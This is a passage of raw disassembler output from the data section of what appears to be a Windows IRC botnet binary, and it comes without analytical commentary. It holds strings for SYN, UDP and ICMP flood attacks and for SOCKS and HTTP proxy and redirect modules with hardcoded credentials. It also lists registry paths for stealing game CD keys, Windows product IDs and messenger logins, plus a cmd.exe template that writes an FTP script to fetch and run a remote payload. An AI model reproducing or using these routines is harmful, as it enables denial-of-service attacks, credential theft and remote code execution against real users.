		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_427740+22o
		align 10h
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_427990+D0o
		align 4
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
		align 10h
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
		align 10h
		dd 0
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_427B10+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_427B10+2Bo
		align 8
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_427B10+23o
		align 4
		dd 0
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_427B10+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_427C90+22o
		align 10h
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
		align 4
		dd 0
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
		align 4
		dd 0
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
		align 8
aSyn		db 'syn',0              ; DATA XREF: sub_4281A0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
		align 8
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
		align 10h
		dd 0
aUdp		db 'udp',0              ; DATA XREF: sub_428880+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_428940+C0o
		align 4
		dd 0
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
		align 4
		dd 0
off_446EFC	dd offset byte_455247	; DATA XREF: sub_4290B0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+AAo
		align 10h
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+33o
		align 10h
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
		db 0Dh,0Ah,0
		align 10h
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
					; ___:0042A147o
		align 8
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
					; ___:0042A129o
		align 8
aConnection	db 'Connection:',0      ; DATA XREF: ___:00429F54o
		align 8
aChunked	db 'chunked',0          ; DATA XREF: ___:00429F11o
		dd 0
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
		align 4
		dd 0
aContentLength	db 'Content-Length:',0  ; DATA XREF: ___:00429E2Do
		align 10h
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C8Eo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C59o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 10h
		dd 0
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: ___:loc_429B5Bo
					; ___:00429FA0o
		align 10h
		dd 0
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
		align 4
		dd 0
asc_4471EC	db 0Dh,0Ah,0		; DATA XREF: ___:00429A1Co
					; ___:00429ADCo ...
		align 10h
aHttprox	db 'HTTPROX',0          ; DATA XREF: ___:004299E7o
		dd 0
aConnect	db 'connect',0          ; DATA XREF: ___:004297B2o
		align 8
aConnect_0	db 'CONNECT',0          ; DATA XREF: ___:0042977Do
		dd 0
off_447214	dd offset byte_544547	; DATA XREF: ___:004296B8o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_42ACB0+22o
		align 10h
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
		align 10h
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_42AFF0+22o
					; sub_42B380+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
		align 10h
		dd 0
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
		align 4
		dd 2 dup(0)
dword_4472F4	dd 1000005h, 0	dword_4472FC	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42CB70+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42CB70+3Fo
		align 10h
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042D725o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: ___:0042D6B1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004473C4o
		align 10h
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 10h
		dd 0
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 4
		dd 0
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42DB00+49o
					; sub_42DB00:loc_42DBBDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
		align 8
aRead		db 'read',0             ; DATA XREF: sub_42DF40:loc_42E0DCo
		align 10h
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42E3C0+72o
		dd 0
aUserS		db 'USER %s',0          ; DATA XREF: sub_42E3C0+3Do
		align 8
aWrite		db 'write',0
		align 10h
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
		align 10h
dword_4474A0	dd 524F5453h	byte_4474A4	db 0			; DATA XREF: sub_42E5B0+EDr
		align 4
dword_4474A8	dd 52544552h	byte_4474AC	db 0			; DATA XREF: sub_42E5B0+D3r
		align 10h
dword_4474B0	dd 5453494Ch	byte_4474B4	db 0			; DATA XREF: sub_42E5B0+B8r
		align 4
dword_4474B8	dd 54534C4Eh	byte_4474BC	db 0			; DATA XREF: sub_42E5B0+9Er
		align 10h
dword_4474C0	dd 45505954h, 632520h, 0					; ___:0042F9BAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42E5B0+2Do
		align 10h
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 4
		dd 0
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		dd 0
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
		align 10h
		dd 0
aPasv		db 'PASV',0             ; DATA XREF: sub_42E870+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
		align 10h
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
		align 4
		dd 0
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 10h
		dd 0
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 4
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
		align 4
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
		align 4
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042F3CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: ___:0042F42Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042F4BEo
		align 10h
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042F53Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042F597o
		align 10h
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042F5EEo
		align 4
off_447678	dd offset dword_445750	; DATA XREF: ___:0042F64Do
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42F6F0:loc_42F871o
		align 10h
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
		align 8
word_4476B8	dw 77h			; DATA XREF: sub_42F6F0+1Fr
		align 4
dword_4476BC	dd 25206425h, 64hdword_4476C4	dd 455A4953h, 732520h, 0dword_4476D0	dd 4D54444Dh, 732520h, 0dword_4476DC	dd 4F544E52h, 732520h, 0dword_4476E8	dd 52464E52h, 732520h, 0dword_4476F4	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42FD30+10o
		align 4
dword_447708	dd 1							; sub_431750+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
		align 4
		dd 0
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_432570+6o
		align 4
aA:					; DATA XREF: sub_434D10+36o
		unicode	0, <€>,0
		dd 12h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 44885Ch, 448F30h,	448828h, 80000002h, 4487C8h
		dd 448F30h, 448798h, 80000002h,	448740h, 448F30h, 44871Ch
		dd 80000002h, 4486D4h, 448F30h,	4486BCh, 80000002h, 448678h
		dd 448F30h, 448650h, 80000002h,	448614h, 448F30h, 4485E0h
		dd 80000002h, 448580h, 448F30h,	448554h, 80000002h, 448530h
		dd 448528h, 4484FCh, 80000002h,	4484D4h, 448528h, 4484BCh
		dd 80000001h, 44848Ch, 448488h,	448478h, 80000002h, 44843Ch
		dd 448F30h, 44842Ch, 80000002h,	4483F0h, 448F30h, 4483DCh
		dd 80000002h, 448394h, 448F30h,	448378h, 80000002h, 448334h
		dd 448F30h, 448318h, 80000001h,	4482F0h, 448488h, 4482E0h
		dd 80000001h, 4482B8h, 448488h,	448298h, 80000002h, 44825Ch
		dd 448258h, 44823Ch, 80000002h,	448218h, 448210h, 4481F8h
		dd 80000001h, 4481CCh, 4481C4h,	4481A0h, 80000002h, 448154h
		dd 448F30h, 44812Ch, 80000002h,	4480D8h, 448F30h, 4480A0h
		dd 80000002h, 44803Ch, 448F30h,	448008h, 80000002h, 447FA8h
		dd 448F30h, 447F8Ch, 80000002h,	447F44h, 448F30h, 447F28h
		dd 80000002h, 447EE0h, 448F30h,	447ED0h, 80000002h, 447E94h
		dd 448F30h, 447E84h, 80000002h,	447E48h, 448F30h, 447E20h
		dd 80000002h, 447DCCh, 448F30h,	447DA4h, 80000002h, 447D54h
		dd 448F30h, 447D38h, 80000002h,	447D10h, 448488h, 447CFCh
		dd 80000002h, 447CC4h, 448F30h,	447C94h, 80000002h, 447C3Ch
		dd 448F30h, 447C20h, 80000001h,	447BD0h, 447BC8h, 447BACh
		dd 80000002h, 447B68h, 447B5Ch,	447B44h, 80000001h, 447B14h
		dd 447B08h, 447AE8h, 80000002h,	447AACh, 447BC8h, 447A8Ch
		dd 80000002h, 447A50h, 447BC8h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 4
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
		dd 2 dup(0)
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 8
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 4
		dd 0
aSof2key	db 'sof2key',0
		align 8
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 8
aCdkey		db 'CDKey',0
		align 10h
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 4
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 4
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 8
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 10h
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 4
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 8
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aNhl2002	db '[NHL 2002: ',0
		align 10h
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 10h
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 8
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
		dd 2 dup(0)
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 10h
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 10h
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		align 10h
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 10h
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
		dd 2 dup(0)
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 10h
aCdkey_0	db 'CDkey',0
		align 4
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 8
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
		dd 2 dup(0)
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 8
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aHalfLife	db '[Half-Life: ',0
		align 10h
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
		dd 2 dup(0)
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 10h
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
		dd 2 dup(0)
aGlobalOperatio	db '[Global Operations: ',0
		align 10h
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 10h
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3230h, 0
		dd 79654Bh, 74666F53h, 65726177h, 6C61565Ch, 435C6576h
		dd 746E756Fh, 74537265h, 656B6972h, 7465535Ch, 676E6974h
		dd 73h,	2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 10h
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 8
aSerial		db 'Serial',0
		align 10h
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 10h
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 10h
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		align 10h
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 8
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 10h
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		align 10h
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 4
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		align 10h
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447788o
		align 8
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:004362A4o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00436268o
		align 8
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
		align 10h
		dd 0
dword_4488F4	dd 3A6D6961h, 732520h, 0dword_448900	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:0043616Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 10h
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 10h
aSMainS		db '%s\main\%s',0
		align 10h
aCodkey		db 'codkey',0
		align 4
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 10h
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 4
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 10h
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_448A34	dd 3A6E736Dh, 732520h, 0dword_448A40	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00436737o
		db 'ice',0
		align 10h
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
		align 8
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4369E0+52Bo
		align 10h
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4369E0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4369E0+4A4o
		align 10h
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4369E0+3BBo
		align 4


loc_448B6C:				; DATA XREF: sub_4369E0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_448B77:				; DATA XREF: sub_4369E0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B83:				; DATA XREF: sub_4369E0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B8F:				; DATA XREF: ___:004371A6o
					; ___:00437400o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_448BA0:				; CODE XREF: ___:00448BA5j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_448BA0
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043762Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ah dup(0)
off_448C90	dd offset off_43F1D4	; DATA XREF: ___:off_43F318o
					; ___:0043F354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Fh dup(0)
byte_448F30	db 0			; DATA XREF: sub_403530+95o
					; sub_404690+200o ...
		align 4
dword_448F34	dd 0							; sub_4246D0+11o ...
dword_448F38	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D4BFr ...
		align 10h
dword_448F40	dd 0							; ___:0040D425w ...
		dd 8 dup(0)
dword_448F64	dd 41h dup(0)						; ___:0040D460o ...
dword_449068	dd 0							; ___:loc_40D4B4r ...
dword_44906C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D42Fr ...
dword_449070	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D660+CAw
dword_449074	dd 0							; sub_40D660+E3r
		dd 11h dup(0)
dword_4490BC	dd 0							; sub_410030+47Dr
dword_4490C0	dd 0							; sub_410030+515r ...
dword_4490C4	dd 0							; sub_410030+655r ...
dword_4490C8	dd 0							; sub_410030+B79r ...
dword_4490CC	dd 0							; sub_410030+74Br
dword_4490D0	dd 0							; sub_410030+828r
dword_4490D4	dd 0							; sub_410030+77Cr
dword_4490D8	dd 0							; sub_410030+4DDr ...
dword_4490DC	dd 0							; sub_410030+311r
dword_4490E0	dd 0							; sub_410030+34Dr ...
dword_4490E4	dd 0							; sub_410030+33Dr
dword_4490E8	dd 0							; sub_410030+3D2r
dword_4490EC	dd 0							; sub_410030+E93r
dword_4490F0	dd 0							; sub_410030+1220r ...
dword_4490F4	dd 0							; sub_4120B0+4DAr
dword_4490F8	dd 0							; sub_410030+683r
dword_4490FC	dd 0							; sub_410030+6B5r
dword_449100	dd 0							; sub_410030+1252r
		dd 5 dup(0)
dword_449118	dd 10h dup(0)						; ___:004040AFo ...
		db 2 dup(0)
byte_44915A	db 0			; DATA XREF: sub_409B10r sub_409B80r
		align 4
		db 3 dup(0)
byte_44915F	db 0			; DATA XREF: sub_40D660+10Fr
		db 0
byte_449161	db 0			; DATA XREF: sub_40DBF0r
word_449162	dw 0			; DATA XREF: sub_40DBF0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_449277	db 0			; DATA XREF: ___:00412F9Ao
					; ___:0041304Fo ...
		db 3 dup(0)
byte_44927B	db 0			; DATA XREF: sub_41F960:loc_41F99Dr
		align 10h
dword_449280	dd 12h dup(0)						; sub_410030+114o
		db 0
byte_4492C9	db 3 dup(0)		; DATA XREF: ___:00408BA7o
					; sub_410030+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_449312	dw 0			; DATA XREF: ___:00408B7Eo
					; sub_410030+132o
		dd 6 dup(0)
word_44932C	dw 0			; DATA XREF: sub_410030+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44935B	db 0			; DATA XREF: ___:00408BD0o
					; sub_410030+17Co ...
		dd 12h dup(0)
dword_4493A4	dd 12h dup(0)						; sub_410030+F7o ...
		db 0
byte_4493ED	db 3 dup(0)		; DATA XREF: ___:00408B09o
					; sub_410030+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44947F	db 0			; DATA XREF: ___:00408BF9o
					; sub_410030+19Ao
		dd 24h dup(0)
		db 0
byte_449511	db 3 dup(0)		; DATA XREF: sub_425100+2Bo
					; sub_425100+37o ...
		dd 11h dup(0)
		db 2 dup(0)
word_44955A	dw 0			; DATA XREF: ___:00412F6Ao
					; ___:00412F89o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44964F	dd 0							; sub_41F030+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_449729	db 0			; DATA XREF: sub_41BA50+18r
		align 4
		dd 36h dup(0)
byte_449804	db 0			; DATA XREF: sub_410030+842r
		align 4
		dd 0Bh dup(0)
dword_449834	dd 18h dup(0)						; sub_40EE40+97o ...
		db 2 dup(0)
byte_449896	db 0			; DATA XREF: sub_404CC0+258r
					; sub_41D930+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4498DF	db 0			; DATA XREF: sub_404CC0:loc_404F30r
					; sub_41D930:loc_41DFB6r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44990F	db 0			; DATA XREF: sub_404CC0+279o
					; sub_41D930+68Fo ...
		dd 12h dup(0)
dword_449958	dd 2Bh dup(0)						; sub_41F030+630o ...
dword_449A04	dd 0				dd 11h dup(0)
		db 0
dword_449A4D	dd 0				align 4
		dd 0D9h	dup(0)
byte_449DB8	db 0			; DATA XREF: sub_41F030+146r
					; sub_41F030+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_44AC5E	dw 0			; DATA XREF: sub_404690+1BDo
					; sub_404B60+31o ...
		db 2 dup(0)
word_44AC62	dw 0			; DATA XREF: sub_404B60+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_44ACD6	dw 0			; DATA XREF: sub_4076B0+36o
					; sub_407740+3Eo ...
		dd 26h dup(0)
dword_44AD70	dd 86h dup(0)						; sub_404CC0+27Eo ...
		db 3 dup(0)
byte_44AF8B	db 0			; DATA XREF: sub_426930+3Bw
					; sub_4269A0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44B18B	dd 0							; sub_4269A0+4Fw ...
dword_44B18F	dd 0							; ___:0042419Dw ...
dword_44B193	dd 0							; sub_4269A0+5Dr ...
